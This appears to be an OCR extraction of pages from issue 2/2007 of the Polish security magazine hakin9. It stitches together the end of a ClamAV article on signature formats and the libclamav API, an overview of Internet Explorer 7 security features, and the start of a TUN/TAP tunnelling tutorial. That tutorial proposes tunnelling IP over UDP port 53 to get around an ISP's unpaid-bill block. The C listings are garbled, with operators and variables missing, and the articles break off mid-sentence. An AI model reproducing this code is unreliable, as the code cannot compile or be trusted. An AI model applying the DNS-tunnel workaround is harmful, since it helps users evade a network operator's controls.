szym ciągu wydajność jest zadowala-
jąca. Dodatkowo, algorytm został roz-
szerzony  o  obsługę  podstawowych
znaków zastępczych (ang. wild cards)
opisanych w następnym punkcie.

Rozszerzony algorytm Boyer-Mo-

ore'a  podobnie  do  wersji  oryginalnej
wykorzystuje  ideę  tablicy  przesunięć
(ang.  shift  table),  umożliwiającej  po-
minięcie  części  tekstu  wejściowego,
w  ktorym  nie  może  nastąpić  dopa-
sowanie.  Zasadnicza  część  algoryt-
mu pracuje nie na pojedynczych zna-
kach, lecz na haszach obliczanych z
trzech kolejnych znaków, które służą
jako  indeksy  tablicy  przesunięć  oraz
specjalnej tablicy sufiksów. Z tego po-
wodu  algorytm  jest  stosowany  tylko
dla sygnatur statycznych (nie zawiera-
jących znaków zastępczych).

Proces skanowania sygnaturami

może  zostać  wielokrotnie  przyspie-
szony  przez  zastosowanie  akcele-
ratora  sprzętowego.  ClamAV  posia-
da  wsparcie  dla  platformy  NodalCo-
re firmy Sensory Networks, w ramach
której dostępne są karty PCI o prze-
pustowościach do 2 Gb/s. Ich wyko-
rzystanie nie tylko przyspiesza samo
skanowanie, ale także w znaczny spo-
sób redukuje obciążenie CPU, co ma
niebagatelne znaczenie dla systemów
filtrujących setki tysięcy bądź miliony
plików  dziennie.  Informacje  technicz-
ne oraz ceny kart można znaleźć na
stronach producenta.

Typy sygnatur wirusów

Libclamav obsługuje kilka typów sy-
gnatur, pozwalających na opis zło-
śliwego oprogramowania na różne
sposoby.

Głównym elementem sygnatur

standardowych jest fragment kodu,
który w jednoznaczny sposób identyfi-
kuje cel. Aby uniknąć fałszywych alar-

mów oraz umożliwić przechowywanie
wpisów w plikach tekstowych, jest on
zakodowany do postaci napisu złożo-
nego  z  liczb  szesnastkowych,  może
także zawierać znaki zastępcze opisa-
ne w Tabeli 1, które pozwalają zwięk-
szyć  elastyczność  sygnatury.  Sygna-
tury  standardowe  mogą  występować
w  dwóch  postaciach:  uproszczonej
oraz  pozwalającej  na  dokładniejszy
opis celu. W pierwszym przypadku są
to  sygnatury  umieszczane  w  bazach

*.db, o następującym formacie:

NazwaWirusa=SygnaturaSzesnastkowa

Sygnatury w postaci rozszerzonej
umieszczane są w plikach *.ndb i wy-
glądają następująco:

NazwaWirusa:KodCelu:Offset:
SygnaturaSzesnastkowa[:
MinimalnaWersjaSilnika:[MaksymalnaWS]]

Pozwalają one na wskazanie typu
pliku oraz miejsca, w którym powin-
no nastąpić dopasowanie sygnatury.
W Tabeli 2 oraz 3 przedstawione zo-
stały możliwe wartości dla drugiego
oraz trzeciego pola.

W przypadku złośliwego oprogra-

mowania, które w żaden sposób nie
modyfikuje swoich plików, takiego jak
większość dialerów czy prostych ko-
ni trojańskich, możliwe jest użycie sy-
gnatur wykorzystujących sumy MD5.
Umieszczane są one w plikach *.hdb i
mają następujący format:

MD5:RozmiarPliku:Nazwa

Dzięki nim, użytkownicy mogą w ła-
twy sposób tworzyć swoje własne
sygnatury – wystarczy wykorzystać
opcję --md5 programu sigtool:

sigtool --md5 evil.exe > evil.hdb

a następnie przenieść plik evil.hdb
do katalogu z bazami ClamAV.

Ostatni typ sygnatur przeznaczo-

ny jest do opisu plików wewnątrz ar-
chiwów  i  w  tym  celu  wykorzystuje
wspomniane  wcześniej  metadane
zawarte w archiwach. Ma on zasto-
sowanie  przede  wszystkim  w  przy-
padku  robaków  internetowych  uży-
wających zaszyfrowanych archiwów
w  charakterze  nośników,  a  których
pliki    zachowują  jakąś  charaktery-
styczną  własność,  taką  jak  nazwa,
rozmiar czy suma kontrolna. Sygna-
tury te są przechowywane w plikach

.zmd oraz .rmd, odpowiednio dla ar-
chiwów zip i RAR, w następującym
formacie:

NazwaRobaka:zaszyfrowany(0,1):nazwa
pliku:oryginalny rozmiar:rozmiar po
kompresji:crc32:metoda kompresji:numer
porządkowy pliku w archiwum:maksymalna
liczba zagnieżdżonych archiwów

Jeżeli pewne parametry ulegają zmia-
nie,  można  użyć  gwiazdki  w  celu  zi-
gnorowania  ich  wartości.  Przykłada-
mi  robaków  pomyślnie  wykrywanych
tą specyficzną metodą są między in-
nymi  Worm.Padowor.A,  Worm.Kima-
zo.A oraz warianty robaka Bagle.

W celu optymalnego wykorzysta-

nia, w trakcie ładowania baz sygna-
tury dzielone są na odpowiednie gru-
py,  tworząc  drzewo  przedstawione
na Rysunku 3. Dane skanowane są
w  pierwszej  kolejności  sygnaturami
zgodnymi z ich typem, następnie sy-
gnaturami wspólnymi oraz MD5. Sy-
gnatury  wykorzystujące  metadane
sprawdzane są w momencie rozpa-
kowywania archiwów.

Pliki skanowane są w pierwszej

kolejności sygnaturami zgodnymi z
ich typem, następnie sygnaturami
wspólnymi oraz MD5.

Listing 2b.

Przykład użycia biblioteki libclamav

/* oblicz przybliżony rozmiar przeskanowanych danych */

size

(

CL_COUNT_PRECISION

1024

)

1024.0

;

printf

(

"Size of scanned data: %2.2Lf MB

);

/* zwolnij pamięć zajmowaną przez silnik */

cl_free

(

engine

);

exit

(

ret

CL_VIRUS

);

}

hakin9 Nr 2/2007

www.hakin9.org

obrona

Pliki CVD

Podstawowym nośnikiem dla sygnatur
w ClamAV są pliki CVD, które w istocie
są skompresowanymi oraz cyfrowo
podpisanymi archiwami tar. Dystrybu-
owane są dwa pliki: daily.cvd oraz ma-

in.cvd. Pierwszy z nich to mniejsza ba-
za służąca do codziennych aktualiza-
cji,  drugi  to  z  kolei  główne  archiwum
sygnatur,  do  którego  średnio  co  pół-
torej miesiąca przenoszona jest część
wpisów z daily.cvd. Bazy zawierają pli-
ki tekstowe z sygnaturami w opisanych
wyżej  formatach.  W  celu  zmniejsze-
nia  obciążenia  mirrorów  opracowa-
ny został system aktualizacji różnico-
wych, który znosi potrzebę ściągania
kompletnych plików z bazami. Zamiast
tego, freshclam pobiera tylko specjal-
ny  skrypt  z  ostatnio  wprowadzonymi
zmianami  i  dokonuje  odpowiednich
aktualizacji lokalnych plików.

Algorytmiczna

detekcja wirusów

Niektóre  zaawansowane  wirusy  wy-
magają specjalnego podejścia. Doty-
czy to przede wszystkim wirusów wy-
soce polimorficznych, które uniemoż-
liwiają bezpośrednie wykrycie za po-
mocą sygnatur. Część skanerów an-
tywirusowych w celu ich wykrycia sta-
ra się wykorzystywać uniwersalne po-
dejście oparte o emulację kodu, jed-
nak  w  przypadku  nowoczesnych  wi-
rusów  wykorzystujących  zaawan-
sowane  sztuczki  bądź  coraz  to  no-
we  rozszerzenia  procesorów,  może
się  ono  często  okazać  nieefektyw-
ne.  ClamAV  stawia  na  precyzyjną
detekcję  opartą  o  dedykowane  algo-
rytmy. Metoda ta jest bardziej praco-
chłonna, jednak pozwala na dokładne
oraz co bardzo ważne – szybkie wy-
krycie  wirusa  przez  skaner.  W  chwi-
li  obecnej,  wszystkie  algorytmy  mu-
szą być umieszczane bezpośrednio w
źródłach programu, jednak już wkrót-
ce możliwa będzie ich dystrybucja w
postaci bajtkodu (ang. bytecode) obok
standardowych  sygnatur.  Na  Listin-
gu 1 przedstawiony został krótki frag-
ment kodu odpowiedzialny za wykry-
wanie wirusa W32.Parite.B, Czytelni-
cy zainteresowani bardziej skompliko-
wanymi przykładami zachęcani są do
lektury źródeł.

Przykład użycia biblioteki

Biblioteka libclamav pozwala na łatwą
rozbudowę  istniejącego  oprogramo-
wania  o  skanowanie  antywirusowe.
Na  Listingu  2  przedstawiony  został
kompletny  przykład  wykorzystania
biblioteki  –  proste    narzędzie  umoż-
liwiające  skanowanie  pojedynczych
plików  z  linii  poleceń.  Wykorzystane
zostały  w  nim  podstawowe  funkcje:

cl _ load()

wczytuje pojedynczą ba-

zę lub wszystkie bazy ze wskazane-
go katalogu,

cl _ retdbdir()

zwraca

ścieżkę domyślnego katalogu z ba-
zami,

cl _ build()

dokonuje kompilacji

silnika,

cl _ scandesc()

skanuje wska-

zany deskryptor,

cl _ strerror()

tłu-

maczy kod błędu na komunikat w ję-
zyku angielskim i w końcu

cl _ free()

zwalnia pamięć zajmowaną przez sil-
nik. Program zwraca do systemu kod
1 w przypadku wykrycia infekcji, 0 w
przypadku jej nie wykrycia oraz 2, w
przypadku wystąpienia błędu.

Infrastruktura sieciowa

Projekt  ClamAV  posiada  zaawan-
sowaną,  rozbudowywaną  od  kilku
lat  infrastrukturę  serwerów  lustrza-
nych (mirrorów). Jest ona sponsoro-
wana  przez  firmy,  organizacje  oraz
jednostki  edukacyjne,  które  udo-
stępniają  szerokopasmowe  łącza
internetowe  dla  potrzeb  dystrybu-
cji baz z sygnaturami wirusów.   Po-
nad sto dwadzieścia maszyn w bli-
sko  czterdziestu  krajach  zapewnia
szybką  oraz  bezawaryjną  aktuali-
zację baz. W celu optymalnego do-
stępu do aktualizacji, dostęp do ser-
werów  następuje  poprzez  następu-
jące adresy:

• db.XY.clamav.net – wskazuje na

mirrory dostępne w kraju o ko-
dzie XY,

• db.local.clamav.net – próbuje prze-

kierować klienta do najbliższej puli
mirrorów poprzez sprawdzenie je-
go adresu w bazie GeoIP,

• database.clamav.net – rekord ro-

und-robin wskazujący na zbiór
najszybszych i najbardziej nieza-
wodnych mirrorów.

W przypadku Polski, zalecana konfi-
guracja polega na umieszczeniu na-

stępujących dwóch wpisów w pliku

freshclam.conf:

DatabaseMirror db.pl.clamav.net
DatabaseMirror database.clamav.net

W przypadku gdy połączenie z mir-
rorami krajowymi nie powiedzie się,

freshclam automatycznie użyje dru-
giego wpisu.

Możliwe zastosowania

Mimo,  że  ClamAV  został  zaprojek-
towany  przede  wszystkim  z  myślą
o  skanowaniu  poczty,  pomyślnie
sprawdza się także w innych zasto-
sowaniach.  Na  stronie  głównej  pro-
jektu,  w  dziale  Third-party  software
znaleźć  można  listę  ponad  stu  pro-
gramów  współpracujących  z  Cla-
mAV, pozwalających na wykorzysta-
nie go do filtrowania poczty na pozio-
mie  protokołów  SMTP,  POP3  oraz
czytników poczty, skanowania syste-
mu plików, strumieni HTTP, zasobów
FTP i do wielu, wielu innych celów.

Podsumowanie

Skaner  antywirusowy  powinien  być
jednym  z  podstawowych  narzędzi  w
arsenale każdego administratora sie-
ci. Clam AntiVirus to elastyczne opro-
gramowanie,  dające  szerokie  możli-
wości konfiguracji oraz zastosowania,
a dzięki swojej licencji i szybkim reak-
cjom na nowe zagrożenia, obala mit o
niebotycznych  kosztach  ochrony  an-
tywirusowej. l

O autorze

Autor jest twórcą oraz liderem projektu
Clam AntiVirus. Absolwent informatyki
na Uniwersytecie Mikołaja Kopernika w
Toruniu, wieloletni entuzjasta oprogramo-
wania Open Source oraz żółwi wodnych.

W Sieci

• http://www.clamav.net/ – strona

domowa projektu Clam AntiVirus,

• http://www.dazuko.org/ – strona

domowa projektu Dazuko,

• http://www.sensorynetworks.com/

– strona producenta akceleratorów
sprzętowych.

www.hakin9.org

hakin9 Nr 2/2007

Obrona

iele osób zastanawiało się, czy pro-
dukt jest bezpieczny, czy też nie;
czy łatwo się do niego włamać oraz

czy posiada więcej „dziur” niż jego poprzednie
wersje. Niemniej jednak bezpieczeństwo wła-
snych zasobów to nie tylko sama przeglądarka,
ale również nawyki ludzi z niej korzystających
oraz tego, jak bardzo przyłożą się oni do prawi-
dłowego skonfigurowania swojego środowiska
pracy. Zacznijmy jednak od początku, czyli od
przedstawienia kilku najważniejszych nowych
cech bezpieczeństwa:

Opcjonalne formanty ActiveX

Funkcja ta wyłącza prawie wszystkie preinsta-
lowane formanty ActiveX w celu ochrony poten-
cjalnie zagrożonych formantów przed atakiem.
W razie potrzeby formanty ActiveX w prosty
sposób można włączyć lub wyłączyć, używa-
jąc Paska informacji i Menedżera dodatków.

Pasek stanu zabezpieczeń

Zwiększa świadomość zagrożeń na stronie sieci
Web i ustawienia prywatności poprzez wyświetla-
nie kolorowych powiadomień obok paska adresu.
W przeglądarce Internet Explorer 7 kolor Paska ad-
resu zmienia się na zielony w przypadku stron po-

siadających nowe certyfikaty. To gwarancja, wska-
zująca, że właściciel przeszedł dokładne testy we-
ryfikacyjne. Powiadomienia filtrów witryn wyłudza-
jących informacje, nazwy certyfikatów i ikona zło-
tej kłódki są teraz umieszczone bezpośrednio przy
pasku adresu, co poprawia ich widoczność. Za po-
mocą jednego kliknięcia można wyświetlać na pa-
sku stanu zabezpieczeń dokładne informacje na
temat certyfikatów i prywatności.

Filtr witryn

wyłudzających informacje

Aktywnie ostrzega i ułatwia ochronę przed po-
tencjalnymi lub znanymi fałszywymi strona-
mi sieci Web. Opcjonalny filtr jest aktualizowa-
ny kilka razy na godzinę na podstawie najnow-
szych danych na temat zabezpieczeń firmy Mi-
crosoft oraz jej partnerów branżowych.

Bariery między domenami

Ogranicza działanie skryptów na stronach i unie-
możliwia ich interakcję z zawartością innych do-
men lub okien. Ta zaawansowana funkcja ochro-
ny pozwala na zabezpieczenie przed złośliwym
oprogramowaniem, które poprzez manipulację
błędami w kodzie innych witryn może pobrać
niechciane treści lub oprogramowanie.

Bezpieczeństwo w Internet

Explorer 7

Artur Żarski

stopień trudności

W tym samym dniu, w którym pojawiła się pierwsza publiczna

wersja przeglądarki Internet Explorer 7 rozpoczęła się

długa dyskusja na temat bezpieczeństwa tego produktu. IE7

zawiera bardzo dużo nowych funkcji, które mają zwiększyć

bezpieczeństwo użytkownika końcowego. Jest ich o wiele więcej

niż w wersji IE6.

Bezpieczeństwo w Internet Explorer 7

hakin9 Nr 2/2007

www.hakin9.org

Ochrona przed

niewłaściwym

adresowaniem domen

Poza dodaniem obsługi nazw domen
międzynarodowych w adresach URL
przeglądarka Internet Explorer powia-

damia użytkownika również wtedy,
gdy wizualnie podobne znaki w ad-
resie URL nie są wyświetlane w tym
samym języku. Zapewnia to ochronę
przed stronami, które w innym wypad-
ku można uznać za strony zaufane.

Tryb chroniony

Przeglądarka  Internet  Explorer  7  w
systemie  Windows  Vista  działa  nie-
zależnie od innych programów. Dzia-
łanie  programów  wykorzystujących
luki w zabezpieczeniach i złośliwego
oprogramowania  jest  ograniczone
do katalogu Tymczasowe pliki inter-
netowe (o ile użytkownik świadomie
nie zezwoli na inne działania).

Kontrola rodzicielska

Aaby  zapewnić  dzieciom  bezpie-
czeństwo  w  sieci,  rodzice  mogą
sprawować  kontrolę  nad  przegląda-
nymi  treściami  dzięki  wbudowane-
mu w systemie Windows Vista syste-
mowi  kontroli  rodzicielskiej.  Poziom
bezpieczeństwa można kontrolować
i  zmieniać  zdalnie.  Poziom  bezpie-
czeństwa  określa  wiele  czynności
wykonywanych na komputerze, m.in.
korzystanie  z  gier  i  używanie  Inter-
netu. Rodzice mogą przeglądać se-
sję  pracy  z  przeglądarką.  Sesji  nie
można usunąć bez zgody rodziców.

Dodatkowo możliwe jest pobra-

nie darmowego produktu - Windows
Defender,  który  umożliwia  ochronę
komputera przed oknami wyskakują-
cymi,  spowolnieniem  działania  oraz
zagrożeniami  związanymi  z  opro-
gramowaniem  szpiegującym  i  inny-
mi  potencjalnie  niechcianymi  pro-
gramami.

Powyżej przedstawione zosta-

ły  funkcje  dostępne  wraz  z  nową
wersją  przeglądarki.  Wystarczają
one zupełnie do tego, aby nasz sys-
tem był bezpieczny. Niektóre z nich
są  jednak  jednymi  z  najbardziej  za-
grożonych opcji, dzięki którym nasz
system  może  zostać  zaatakowany.
Druga  część  artykułu  ma  za  zada-
nie przedstawić aspekty tych funkcji
oraz sposoby ich konfiguracji.

Kontrolki ActiveX

Najbardziej  niebezpieczne  dla  na-
szego  systemu  jest  uruchamianie
różnego  rodzaju  kontrolek  ActiveX,
których  pochodzenia  i  przeznacze-
nia  nie  znamy.  Są  one  najczęst-
szą  przyczyną  włamań  do  kompu-
terów.  Kontrolka  ActiveX  jest  bar-
dzo  ważna  dla  korzystania  z  zaso-
bów  Internetu  ponieważ  pozwala

Rysunek 1.

Rysunek 2.

Rysunek 3.

hakin9 Nr 2/2007

www.hakin9.org

Obrona

programistom na zwiększenie moż-
liwości klasycznych stron WWW i

osadzenie na stronach funkcji, któ-
re nie są dostępne przy użyciu stan-

dardowego HTMLa oraz JavaScriptu
(np. różnego rodzaju animacje, mul-
timedia, itp).

Ze względu na to, że kontrolka (lub

dowolne  rozszerzenie  przeglądarki)
dodaje nowe funkcje, jest też źródłem
możliwych  włamań.  Domyślna  ilość
kontrolek  w  IE7  została  zmniejszo-
na  w  stosunku  do  poprzednich  wer-
sji. Standardowo w IE7 opcja urucha-
miania kontrolek ActiveX została wy-
łączona. Jeśli użytkownik trafi na stro-
nę, na której wymagane jest urucho-
mienie takiej kontroli, dostanie komu-
nikat  w  górnej  części  przeglądarki  o
tym, że jakaś kontrolka wyprodukowa-
na przez jakiegoś

Jeśli użytkownik wybierze opcję

“Uruchom  kontrolkę  ActiveX  (ang.
Run  ActiveX  Control)”  to  system  po-
prosi  o  potwierdzenie  uruchomienia
pokazując okienko dialogowe (Rys.2)

UWAGA!. Niektóre kontrolki Acti-

veX nie będą wyłączone standardo-
wo. Oto lista przypadków:

• Kontrolki, które były zainstalowa-

ne przy poprzedniej wersji prze-
glądarki przed wykonaniem aktu-
alizacji wersji.

• Kontrolki, które zostały świa-

domie pobrane i zainstalowane
przez użytkownika

• Kontrolki, które są na liście

wstępnie zaakceptowanych kon-
trolek.

Tu  następuje  pierwszy  krok  użyt-
kownika  -  włączenie  lub  wyłącze-
nie  sprawdzania  kontrolek  ActiveX.
W opcjach bezpieczeństwa przeglą-
darki mamy możliwość stwierdzenia
czy chcemy, aby nasza przeglądarka
sprawdzała uruchamianie kontrolek,
czy  nie.  (Rys.3).  Konfigurację  mo-
żemy  ustawić  odrębnie  dla  różnych
stref zabezpieczeń.

Jakie kontrolki dostępne są na

liście wstępnie zaakceptowanych
kontrolek możemy się dowiedzieć
sprawdzając rejestr. Lista CLSID do-
stępna jest w kluczu:

HKEY_LOCAL_MACHINE -> SOFTWARE ->

Microsoft -> Windows -> CurrentVersion
-> Ext -> PreApproved

Rysunek 5.

Rysunek 4.

Bezpieczeństwo w Internet Explorer 7

hakin9 Nr 2/2007

www.hakin9.org

Data Execution

Prevention

Data  Execution  Prevention  (DEP)
jest zestawem technologii, które wy-
konują  dodatkowe  sprawdzenie  pa-
mięci,  aby  chronić  przed  złośliwym
kodem  uruchamianym  na  systemie.
DEP jest dostępny w Microsoft Win-
dows 2003 Server SP1, Windows XP
Service Pack 2, Windows XP Tablet
PC  Edition  2005  oraz  Windows  Vi-
sta. Praca DEP polega na ochronie
wykonywanego  kodu,  która  nie  jest
oznaczona  jako  EXECUTABLE  tak
jak  np.  stos.  IE  dostarcza  ustawie-
nie,  które  można  włączyć  do  testo-
wania  kontrolek  z  funkcjonalnością
DEP. (Opcja Tools | Internet Options
|  zakładka  Advanced  na  następnie
opcja  Enable  memory  protection  to

help mitigate online attacks. (Rys. 4)

UWAGA – w przypadku Windows

Vista, ustawienie może być zmienio-
ne tylko kiedy Protected Mode jest
wyłączony.

Ulepszenia

bezpieczeństwa HTTPS

HTTPS  używa  szyfrowania  do  za-
bezpieczenia  ruchu  internetowego
przed  podsłuchiwaniem  lub  fałszo-
waniem przez innych w sieci. HTTPS
używa  do  ochrony  danych  protoko-
łów Secure Sockets Layer (SSL) lub
Transport  Layer  Security  (TLS).    W
celu  polepszenia  bezpieczeństwa

zostały  dodane  nowe  funkcjonalno-
ści  w  implementacji  HTTPS.  Wpro-
wadzono  też  nowe  strony  informa-
cyjne w przeglądarce dla użytkowni-
ków, które pokazują co się dzieje.

Szczegółowy opis błędów oraz

czym są spowodowane dostępny
jest na stronie:

ht tp: / /msdn.microsof t.com /

library/default.asp?url=/library/en-

us/IETechCol/cols/dnexpie/ie7_

https_imps.asp

Logowanie zachowań

przeglądarki

Przy pomocy Application Compatibi-
lity Logging, możemy sprawdzać i lo-
gować co dzieje się z naszą przeglą-
darką i jak reaguje na to co pobiera-
my z sieci. Co jest logowane? Krótka
odpowiedź – wiele rzeczy jest logo-
wanych do Event Viewer’a podczas
pracy Application Compatibility Log-
ging. Przykłady logów:

• Parsowanie URL – w celu zabez-

pieczenia przed exploitami.

• Bezpieczeństwo HTTPS - log

tworzony jest podczas proble-
mów z certyfikatami strony, do
której chcemy się dostać.

• Międzynarodowe nazwy domen

– przy każdorazowym odwołaniu
się do takich nazw.

• Kontrolki ActiveX – informacja o za-

blokowaniu kontrolki i przyczynie.

• Nawigacja pomiędzy różnymi

domenami w przypadku użycia
FRAME

• Problemy ze stylami CSS

Kody błędów dostępne są na stronie:

http://msdn.microsoft.com/library/

default.asp?url =/library/en-us /

IETechCol/cols/dnexpie/ie7_com-

pat_log.asp

Filtrowanie phishingu

Oochrona przed

kradzieżą tożsamości

W  Internet  Explorer  7  udostępniono
usługę  filtrowania  online,  która  pod-
czas  przeglądania  witryn  sieci  Web
ostrzega  użytkownika  o  potencjal-
nych  próbach  kradzieży  informacji
poufnych (phishingu). Usługa filtrowa-
nia dokonuje analizy lokalnej i szuka
znanych  elementów  metod  phishin-
gu. Korzysta przy tym z danych onli-
ne, które są aktualizowane kilka razy
na  godzinę.  Na  pasku  stanu  zabez-
pieczeń w programie Internet Explo-
rer 7 są wyświetlane powiadomienia
usługi filtrowania phishingu, informa-
cje o silnych certyfikatach, ikona zło-
tej  kłódki  (wskazująca  połączenie  z
bezpieczną  witryną  sieci  Web)  oraz
powiadomienia  o  błędach  certyfika-
tów.  Informacje  o  certyfikacie  i  za-
sadach  ochrony  prywatności  można
również wyświetlić, klikając jeden raz
przyciskiem  myszy.  Jeśli  po  analizie
system stwierdzi, że dana strona mo-
że być podejrzana, to wyświetli komu-
nikat pokazany na rys. 5. Rysunek 6
przedstawia stronę, która została już
wcześniej  zapisana  w  bazie  danych
jako strona niebezpieczna.

Zabezpieczeń przeglądarki Inter-

net  Explorer  7  jest  wiele.  Wiele  jest
również miejsc, które muszą być pil-
nowane przez użytkowników przeglą-
darki  bo  nawet  najlepsze  zabezpie-
czenia  nie  są  w  stanie  ochronić  nas
przed  wirusem  czy  włamaniem,  jeśli
nie będziemy przestrzegać podstawo-
wych  zasad  bezpieczeństwa.  Prze-
glądarka  IE7  została  bardzo  mocno
rozbudowana,  a  największy  nacisk
położono  na  bezpieczeństwo.  Przy
stosowaniu  podstawowych  zasad
bezpieczeństwa i wzmożonej uwadze
możemy czuć się bezpieczni. l

Rysunek 6.

www.hakin9.org

hakin9 Nr 2/2007

Obrona

terownik  TUN  operuje  na  ramkach  IP
i  pozwala  na  stworzenie  wirtualne-
go  interfejsu  sieciowego  Point-to-Po-

int (PPP), TAP natomiast operuje na ramkach
Ethernet. Sterownik TUN/TAP dostępny jest na
platformach Linux, Solaris, Mac OS X, Micro-
soft Windows 2000/XP oraz rodzinie systemów
BSD. Tyle tytułem wstępu. Jeżeli te podstawo-
we informacje nie dają pełnego obrazu możli-
wości TUN/TAP zachęcam do dalszej lektury,
gdyż z pewnością nierzadko nadarzą się oka-
zje do skorzystania z takich tuneli.

Strona techniczna

Sterownik TUN udostępnia aplikacji użytkowni-
ka dwa interfejsy:

• /dev/net/tun – urządzenie znakowe
• tunX – wirtualny interfejs Point-to-Point

Aplikacja  użytkownika  może  wysyłać  ram-
ki IP do /dev/net/tun, kernel otrzyma te ram-
ki  z  interfejsu  wirtualnego  tunX.  W  tym  sa-
mym  czasie  każda  ramka,  jaką  kernel  wy-
śle  do  interfejsu  tunX,  może  być  odczyta-
na  przez  aplikację  użytkownika  z  urządze-
nia /dev/net/tun.

Analogicznie sprawa wygląda ze sterowni-

kiem TAP – program w przestrzeni użytkow-
nika ma do dyspozycji interfejsy /dev/net/tun
(z odpowiednią flagą) oraz tapX z tą różnicą,
że zamiast operować na ramkach IP i interfej-
sie Point-to-Point operuje na ramkach i interfej-
sie Ethernet.

Przygotowanie systemu

Przygotowanie systemu zostanie omówione
na przykładzie platformy Linux, w pozostałych
systemach wykonuje się to analogicznie.

Pierwszą rzeczą, jaką powinniśmy zrobić, to

sprawdzenie, czy mamy dostępny moduł TUN/

Tunele TUN/TAP w

systemach Linux/Unix

Paweł Maziarz

stopień trudności

Mechanizm TUN/TAP umożliwia transmisję pakietów w

przestrzeni użytkownika – zamiast odbierać pakiety z fizycznego

interfejsu, odbiera je z programu w przestrzeni użytkownika i

analogicznie zamiast wysyłać pakiety przez fizyczny interfejs,

wysyła je do programu w przestrzeni użytkownika.

Z artykułu dowiesz się...

• jak działają tunele TUN/TAP
• jak tworzyć własne aplikacje używające tych

tuneli

Powinieneś wiedzieć...

• powinieneś znać podstawy programowania w

języku C

• powinieneś mieć pojęcie o protokole TCP/IP

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

TAP. Jeżeli nie, powinniśmy podczas
kompilacji jądra systemu zaznaczyć

<M> przy: Device Drivers -> Networ-
king  support  ->Universal  TUN/TAP
device  driver  support  skompilować
odpowiednio  jądro,  po  czym  załado-
wać moduł sterownika TUN/TAP po-
leceniem

modprobe tun

. Następnie,

jeżeli nie mamy urządzenia /dev/net/

tun, to musimy je utworzyć:

mkdir /dev/net (jeżeli katalog /dev/net

nie istnieje)

mknod /dev/net/tun c 10 200

Dostęp aplikacji użytkownika

do tuneli

Podstawową funkcją, jaką powinien
zawierać nasz program, to funkcja

tun_alloc(), która przygotuje interfejs

tun i zwróci deskryptor pliku skojarzo-
ny z tym interfejsem. Listing 1 przed-
stawia część pliku tun.c  zawierające-
go tę funkcję w wersji dla systemu Li-
nux  oraz  FreeBSD.  Teraz  wystarczy
wywołać  funkcję  tun_alloc(),  następ-
nie  zorganizować  jakiś  transport  pa-
kietów i rozpocząć ich wymianę. Pyta-
nie tylko, po co to wszystko?

Zasiadam do komputera, odpa-

lam  konsolę,  uruchamiam  klienta
ssh, by połączyć się z jednym z fir-
mowych komputerów i po chwili od-
czytuję  informację  o  błędzie  pole-
gającym  na  przekroczeniu  czasu
na  połączenie.  To  samo  dzieje  się
z kolejnymi serwerami. SMTP to sa-
mo, FTP to samo, sprawdzam HTTP
– uruchamiam przeglądarkę WWW,
jako  strona  startowa  powinna  wy-
świetlić  się  http://www.google.pl/.
Widzę jednak  zamiast Google wyja-
śniający  tekst:  Nie  zapłaciłeś  ostat-

niego rachunku za dostęp do sieci

Internet. Masz 3 dni na uregulowa-

nie płatności, w przeciwnym wypad-

ku koszt ponownej aktywacji [...].

Tak, wszystko stało się jasne. Zu-

pełnie zapomniałem zapłacić za Inter-
net. No dobrze, ale jak teraz wykonać
przelew, skoro nie mam dostępu do
sieci? Do najbliższego banku 300 me-
trów – zdecydowanie za daleko, poza
tym, trzeba by zakładać buty. Zbierz-
my fakty. Jeżeli wchodząc na jaką-
kolwiek stronę WWW otwiera się Ich
spreparowana witryna, oznacza to, że

Listing 1.

Funkcja tun_alloc() z tun.c

/*
* tun_alloc() - przygotowuje interfejs tunX oraz zwraca jego deskryptor,
* w razie niepowodzenia, zwraca -1
*/

int

tun_alloc

(

char

dev

)

/* wersja dla Linuksa */

#ifdef __linux__

{

struct

ifreq

ifr

;

int

;

((

open

(

"/dev/net/tun"

O_RDWR

))

)

return

;

memset

ifr

sizeof

(

ifr

));

/* możliwe flagi:

* IFF_TUN - interfejs TUN (ramki IP)
* IFF_TAP - interfejs TAP (ramki Ethernet)
*
* IFF_NO_PI - brak dodatkowych informacji o pakiecie */

ifr

ifr_flags

IFF_TUN

IFF_NO_PI

;

dev

)

strncpy

(

ifr

ifr_name

dev

IFNAMSIZ

);

/* rejestracja nowego urządzenia (tunX) */

((

ioctl

(

TUNSETIFF

(

void

ifr

))

)

{

(

);

return

;

}

/* zapisanie faktycznej nazwy intefejsu do zmiennej dev */

strcpy

(

dev

ifr

ifr_name

);

return

;

}

/* wersja dla FreeBSD */

#elif __FreeBSD__

{

char

[

];

int

mode

;

strcpy

(

"/dev/tun"

);

for

(

;

++)

{

[

]

'0'

;

[

]

;

((

open

(

O_RDWR

))

)

break

;

}

(

)

return

;

strcpy

(

dev

);

/* ustawienie odpowiednich parametrów */

mode

IFF_POINTOPOINT

;

ioctl

(

TUNSIFMODE

mode

);

(

)

return

;

mode

;

ioctl

(

TUNSLMODE

mode

);

(

)

return

;

mode

;

ioctl

(

TUNSIFHEAD

mode

);

(

)

return

;

return

;

}

endif

hakin9 Nr 2/2007

www.hakin9.org

Obrona

wszystkie  zapytania  WWW  przekie-
rowują na swój serwer. Jeżeli jednak
tak robią, musi być dostęp do serwe-
ra DNS, w przeciwnym wypadku prze-
glądarka  zgłosiłaby  błąd  o  niemożli-
wości odnalezienia hosta. Domyślnie
używany jest lokalny serwer DNS, in-
ne  z  pewnością  wycięli.  Sprawdzam
standardowy dns.tpsa.pl – działa, tcp-
dump potwierdza, że faktycznie mogę
go odpytać:

09:01:51.051484 IP 192.168.3.2.1115 >
194.204.159.1.domain: 35529+ A?
haking.pl. (27)
09:01:51.233565 IP 194.204.159.1.domain
> 192.168.3.2.1115: 35529 1/2/2 A
62.111.243.84 (126)

Jeszcze  inna  próba  z  firmowym,
mniej znanym serwerem DNS, dzia-
ła.  Wnioski  –  mogę  odpytać  dowol-
ny  serwer  DNS  w  Internecie,  a  za-
tem  mogę  wysyłać  pakiety  na  port
53 protokołu UDP (tak wysyłane są
zapytania DNS) i spodziewać się od-
powiedzi. To powinno wystarczyć, by
uniknąć konieczności zakładania bu-
tów i żmudnego pokonywania blisko
300 metrów betonowych chodników.
O kolejkach nie wspomnę. Napisze-
my więc aplikację tunelującą ruch IP
protokołem UDP.

IP-over-UDP - tworzymy

aplikację

Mamy  już  funkcję  tun_alloc(),  która
tworzy wirtualny interfejs sieciowy, te-
raz trzeba zatroszczyć się o transport
pakietów  w  przestrzeni  użytkownika.
Na początek użyjemy do tego bezpo-
łączeniowego protokołu UDP, port 53.
Musimy stworzyć prostego daemona,
który  będzie  nasłuchiwał  na  porcie,
którego używają serwery nazw i wy-
